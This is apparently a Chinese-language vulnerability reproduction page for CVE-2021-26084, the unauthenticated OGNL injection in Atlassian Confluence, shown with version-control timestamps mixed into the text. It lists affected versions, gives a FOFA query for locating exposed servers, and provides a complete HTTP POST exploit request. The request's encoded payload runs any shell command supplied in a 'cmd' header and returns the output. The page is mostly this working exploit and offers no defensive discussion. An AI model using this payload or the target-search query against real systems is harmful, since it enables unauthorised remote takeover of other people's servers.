2022-05-24 17:29:00 +08:00
|
|
|
|
# Atlassian Confluence doenterpagevariables.action 远程命令执行漏洞 CVE-2021-26084
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞描述
|
|
|
|
|
|
|
|
|
|
|
|
Atlassian Confluence 存在远程代码执行漏洞，攻击者在无需认证，即可构造恶意请求，造成OGNL表达式注入，从而执行任意代码，控制服务器。
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞影响
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
Atlassian Atlassian Confluence < 7.4.11
|
|
|
|
|
|
Atlassian Atlassian Confluence < 7.11.6
|
|
|
|
|
|
Atlassian Atlassian Confluence < 7.13.0
|
|
|
|
|
|
Atlassian Atlassian Confluence < 6.13.23
|
|
|
|
|
|
Atlassian Atlassian Confluence < 7.12.5
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
## FOFA
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
app="ATLASSIAN-Confluence"
|
|
|
|
|
|
```
|
|
|
|
|
|
|
|
|
|
|
|
## 漏洞复现
|
|
|
|
|
|
|
|
|
|
|
|
登录页面
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
|
2022-05-24 17:29:00 +08:00
|
|
|
|
|
|
|
|
|
|
发送请求包
|
|
|
|
|
|
|
|
|
|
|
|
```
|
|
|
|
|
|
POST /pages/doenterpagevariables.action HTTP/1.1
|
|
|
|
|
|
Host:
|
|
|
|
|
|
Connection: keep-alive
|
|
|
|
|
|
Content-Length: 599
|
|
|
|
|
|
Cache-Control: max-age=0
|
|
|
|
|
|
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
|
|
|
|
|
|
sec-ch-ua-mobile: ?0
|
|
|
|
|
|
Upgrade-Insecure-Requests: 1
|
|
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
|
|
|
|
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
|
|
|
|
|
|
Sec-Fetch-Site: same-origin
|
|
|
|
|
|
Sec-Fetch-Mode: navigate
|
|
|
|
|
|
Sec-Fetch-User: ?1
|
|
|
|
|
|
Sec-Fetch-Dest: document
|
|
|
|
|
|
Accept-Encoding: gzip, deflate, br
|
|
|
|
|
|
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
|
|
|
|
|
|
Cookie: JSESSIONID=3E654B6F4ADDF325CA2203596BD0115C
|
|
|
|
|
|
cmd: id
|
|
|
|
|
|
|
|
|
|
|
|
queryString=%5Cu0027%2B%23%7B%5Cu0022%5Cu0022%5B%5Cu0022class%5Cu0022%5D.forName%28%5Cu0022javax.script.ScriptEngineManager%5Cu0022%29.newInstance%28%29.getEngineByName%28%5Cu0022js%5Cu0022%29.eval%28%5Cu0022var+c%3Dcom.atlassian.core.filters.ServletContextThreadLocal.getRequest%28%29.getHeader%28%5Cu0027cmd%5Cu0027%29%3Bvar+x%3Djava.lang.Runtime.getRuntime%28%29.exec%28c%29%3Bvar+out%3Dcom.atlassian.core.filters.ServletContextThreadLocal.getResponse%28%29.getOutputStream%28%29%3Borg.apache.commons.io.IOUtils.copy%28x.getInputStream%28%29%2Cout%29%3Bout.flush%28%29%3B%5Cu0022%29%7D%2B%5Cu0027
|
|
|
|
|
|
```
|
|
|
|
|
|
|
2022-12-05 11:09:28 +08:00
|
|
|
|
![]()
|
